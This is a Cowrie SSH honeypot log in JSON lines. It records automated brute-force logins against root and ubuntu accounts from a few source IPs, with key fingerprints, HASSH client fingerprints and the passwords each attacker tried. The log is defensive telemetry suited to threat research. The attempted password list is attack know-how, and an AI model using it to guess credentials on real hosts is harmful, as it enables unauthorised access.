{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:66:47:ad:69:6e:8b:26:94:fb:a7:34:b1:43:77:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChxOniDDnq3x7otFLF4xPoU+xBG9hKKoKVvJjHKal91XDAO4hDDRr8/z/80t38jIipWf+wnQUWE4SvzZ6Uo3msFcO4qzD5rjl1lWox443Re5r11lkwQepnnuy/oQrh6QKfjfFJT4Uh1yM7j+gYezzGcjpXmL8n/F+lTDgQjCHy70vbwia8bRrLSp+sNkU0LUUkOtzivvyZFGjGeuT9w12naapQoUTv7lwLNZT8sVJ/mQbv9QQy2srNcg1ugETNqEDQq6Ecgqgx6SWLr3WZnr5qPxp5MAfIlas3PFyUHDmOk2qpFnHRK1kCyr/h5Uzf8p4m/0ODxfNp9ZBPHIUYOzqh/K7Z+i5ONpAa/5nWUo49h5ajlGYB6DOOZtqGXyM5mPum31Z/WVjdwga8b8oEvLDgTeRNiRIOOBlXV1uqDP+Xo2os45hal1uiAwgvhDwc8LG7LmyXawQLufjRQnHIK9vkRakQ/GHQGkJp3SRer1zAVR9dsGye09jfXJ1+GcR9vnc+b4C7GImcI9uXd5zVmFE35R3Snz4OrI379o9F9uvx/qOejf6m3jucSyxN6VHhGWto2E1KsqHt7KjHEaEnFAUNNz+F0JaARhJ1uXktKihHuiqcX6oO8Oi7bQio4hhSZcpN7es05KHPBqvVoTfoOf9pOS6qHeAkkVy4eLx29u4sGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:66:47:ad:69:6e:8b:26:94:fb:a7:34:b1:43:77:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.234624Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:66:47:ad:69:6e:8b:26:94:fb:a7:34:b1:43:77:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChxOniDDnq3x7otFLF4xPoU+xBG9hKKoKVvJjHKal91XDAO4hDDRr8/z/80t38jIipWf+wnQUWE4SvzZ6Uo3msFcO4qzD5rjl1lWox443Re5r11lkwQepnnuy/oQrh6QKfjfFJT4Uh1yM7j+gYezzGcjpXmL8n/F+lTDgQjCHy70vbwia8bRrLSp+sNkU0LUUkOtzivvyZFGjGeuT9w12naapQoUTv7lwLNZT8sVJ/mQbv9QQy2srNcg1ugETNqEDQq6Ecgqgx6SWLr3WZnr5qPxp5MAfIlas3PFyUHDmOk2qpFnHRK1kCyr/h5Uzf8p4m/0ODxfNp9ZBPHIUYOzqh/K7Z+i5ONpAa/5nWUo49h5ajlGYB6DOOZtqGXyM5mPum31Z/WVjdwga8b8oEvLDgTeRNiRIOOBlXV1uqDP+Xo2os45hal1uiAwgvhDwc8LG7LmyXawQLufjRQnHIK9vkRakQ/GHQGkJp3SRer1zAVR9dsGye09jfXJ1+GcR9vnc+b4C7GImcI9uXd5zVmFE35R3Snz4OrI379o9F9uvx/qOejf6m3jucSyxN6VHhGWto2E1KsqHt7KjHEaEnFAUNNz+F0JaARhJ1uXktKihHuiqcX6oO8Oi7bQio4hhSZcpN7es05KHPBqvVoTfoOf9pOS6qHeAkkVy4eLx29u4sGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.239330Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:b2:0b:e5:1b:6f:dc:3a:76:16:1c:76:d7:72:e7:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4XGHFb4A0LFQWLUVIKcKgA61V8ut0xdVxlXWxc1TG++rF4V9ctTJipmMzGC29K8uycUdfXQrKuz0tkcCn4WA/LkFj2D2C2aGSBrW3PtAjpi5qVG7KuYP/2uOeApGk8gL1esJdNdLUT3aH6HsMQk6e575HFyClJOJKBNoKqFDdHozC3426ILygnt+kxuwOZzHixcj16QcaC4uqSCywRlPFdEjgR7N1bOzuzwQ3fm3P2jr/GVogIe+jZcAA5+PYCarHfrKC4Uml43iPOJUSDKf2s2ZXhgHEc68/14bAyqdeZPamhMiImObffb+e/AypglWU9mbm6hYtn80omteN0gmAB5pmr8WHwNRIz77jcV1k5/8xTBZXN8T8qt2fMMa8xOekyVw957G5bXmq+gj0i6PgVjj3sX9onxzzS5X0fUqSVQsvZoFJjVlTM2fZLAU1hXhPjaeqw0nwKAtRwKT2aswOYC8AKW3CTjVhDFiF4fjbQVeVRMMxzzNAQn0f9GsSThqCptA8VTi4O14PYGez5a61vXBY1LUbpxHE/GTBEltIxUGNQBPcunGtwTh72FScbsq3pmuHtiQq4HIwFTLsMZsWrvRj+N4kXys+uIuobUIrZzYwtwjExCRLbHANy5ShUZ1Bljvt+/hRPhW+aFC0revjYBveIRz/oJfwRGytwvrWzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:b2:0b:e5:1b:6f:dc:3a:76:16:1c:76:d7:72:e7:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.345668Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:b2:0b:e5:1b:6f:dc:3a:76:16:1c:76:d7:72:e7:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4XGHFb4A0LFQWLUVIKcKgA61V8ut0xdVxlXWxc1TG++rF4V9ctTJipmMzGC29K8uycUdfXQrKuz0tkcCn4WA/LkFj2D2C2aGSBrW3PtAjpi5qVG7KuYP/2uOeApGk8gL1esJdNdLUT3aH6HsMQk6e575HFyClJOJKBNoKqFDdHozC3426ILygnt+kxuwOZzHixcj16QcaC4uqSCywRlPFdEjgR7N1bOzuzwQ3fm3P2jr/GVogIe+jZcAA5+PYCarHfrKC4Uml43iPOJUSDKf2s2ZXhgHEc68/14bAyqdeZPamhMiImObffb+e/AypglWU9mbm6hYtn80omteN0gmAB5pmr8WHwNRIz77jcV1k5/8xTBZXN8T8qt2fMMa8xOekyVw957G5bXmq+gj0i6PgVjj3sX9onxzzS5X0fUqSVQsvZoFJjVlTM2fZLAU1hXhPjaeqw0nwKAtRwKT2aswOYC8AKW3CTjVhDFiF4fjbQVeVRMMxzzNAQn0f9GsSThqCptA8VTi4O14PYGez5a61vXBY1LUbpxHE/GTBEltIxUGNQBPcunGtwTh72FScbsq3pmuHtiQq4HIwFTLsMZsWrvRj+N4kXys+uIuobUIrZzYwtwjExCRLbHANy5ShUZ1Bljvt+/hRPhW+aFC0revjYBveIRz/oJfwRGytwvrWzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.350045Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233..","message":"login attempt [root/Aa112233..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.362223Z","src_ip":"60.165.124.241","session":"bbdbc9a91414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:46.460714Z","src_ip":"186.190.215.90","session":"e15d6f341bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:47.611543Z","src_ip":"60.165.124.241","session":"bbdbc9a91414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34872,"dst_ip":"10.17.0.5","dst_port":22,"session":"64e72e428005","protocol":"ssh","message":"New connection: 60.165.124.241:34872 (10.17.0.5:22) [session: 64e72e428005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:47.841709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:47.847472Z","src_ip":"60.165.124.241","session":"64e72e428005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:48.084125Z","src_ip":"60.165.124.241","session":"64e72e428005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57736,"dst_ip":"159.203.135.109","dst_port":22,"session":"62a6d20829e1","protocol":"ssh","message":"New connection: 2.57.122.208:57736 (159.203.135.109:22) [session: 62a6d20829e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:48.640855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:48.726944Z","src_ip":"2.57.122.208","session":"62a6d20829e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7y6t5r4e3","message":"login attempt [root/p0o9i8u7y6t5r4e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:48.796841Z","src_ip":"60.165.124.241","session":"64e72e428005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:48.946848Z","src_ip":"2.57.122.208","session":"62a6d20829e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:50.035694Z","src_ip":"60.165.124.241","session":"64e72e428005","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:50.042461Z","src_ip":"2.57.122.208","session":"62a6d20829e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38116,"dst_ip":"10.17.0.5","dst_port":22,"session":"563ef82dd79a","protocol":"ssh","message":"New connection: 60.165.124.241:38116 (10.17.0.5:22) [session: 563ef82dd79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:50.304919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:50.320333Z","src_ip":"60.165.124.241","session":"563ef82dd79a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:50.562356Z","src_ip":"60.165.124.241","session":"563ef82dd79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:51.482492Z","src_ip":"2.57.122.208","session":"62a6d20829e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxthhhhh.com","message":"login attempt [root/cxthhhhh.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:51.590530Z","src_ip":"60.165.124.241","session":"563ef82dd79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:52.848776Z","src_ip":"60.165.124.241","session":"563ef82dd79a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41530,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e292ff2e35","protocol":"ssh","message":"New connection: 60.165.124.241:41530 (10.17.0.5:22) [session: 20e292ff2e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:53.066575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:53.071402Z","src_ip":"60.165.124.241","session":"20e292ff2e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:53.309995Z","src_ip":"60.165.124.241","session":"20e292ff2e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd123$","message":"login attempt [root/Passw0rd123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:54.029893Z","src_ip":"60.165.124.241","session":"20e292ff2e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:55.280053Z","src_ip":"60.165.124.241","session":"20e292ff2e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44758,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc25a4653884","protocol":"ssh","message":"New connection: 60.165.124.241:44758 (10.17.0.5:22) [session: bc25a4653884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:55.537487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:55.542565Z","src_ip":"60.165.124.241","session":"bc25a4653884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:55.793580Z","src_ip":"60.165.124.241","session":"bc25a4653884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"athens","message":"login attempt [root/athens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:56.575211Z","src_ip":"60.165.124.241","session":"bc25a4653884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:57.848487Z","src_ip":"60.165.124.241","session":"bc25a4653884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48058,"dst_ip":"10.17.0.5","dst_port":22,"session":"b86a8c24d17f","protocol":"ssh","message":"New connection: 60.165.124.241:48058 (10.17.0.5:22) [session: b86a8c24d17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:58.082204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:58.086859Z","src_ip":"60.165.124.241","session":"b86a8c24d17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:58.322802Z","src_ip":"60.165.124.241","session":"b86a8c24d17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456@","message":"login attempt [root/Dd123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:16:59.042985Z","src_ip":"60.165.124.241","session":"b86a8c24d17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:00.289487Z","src_ip":"60.165.124.241","session":"b86a8c24d17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50952,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f60d51e9d7","protocol":"ssh","message":"New connection: 60.165.124.241:50952 (10.17.0.5:22) [session: 51f60d51e9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:00.528686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:00.533518Z","src_ip":"60.165.124.241","session":"51f60d51e9d7","protocol":"ssh"}
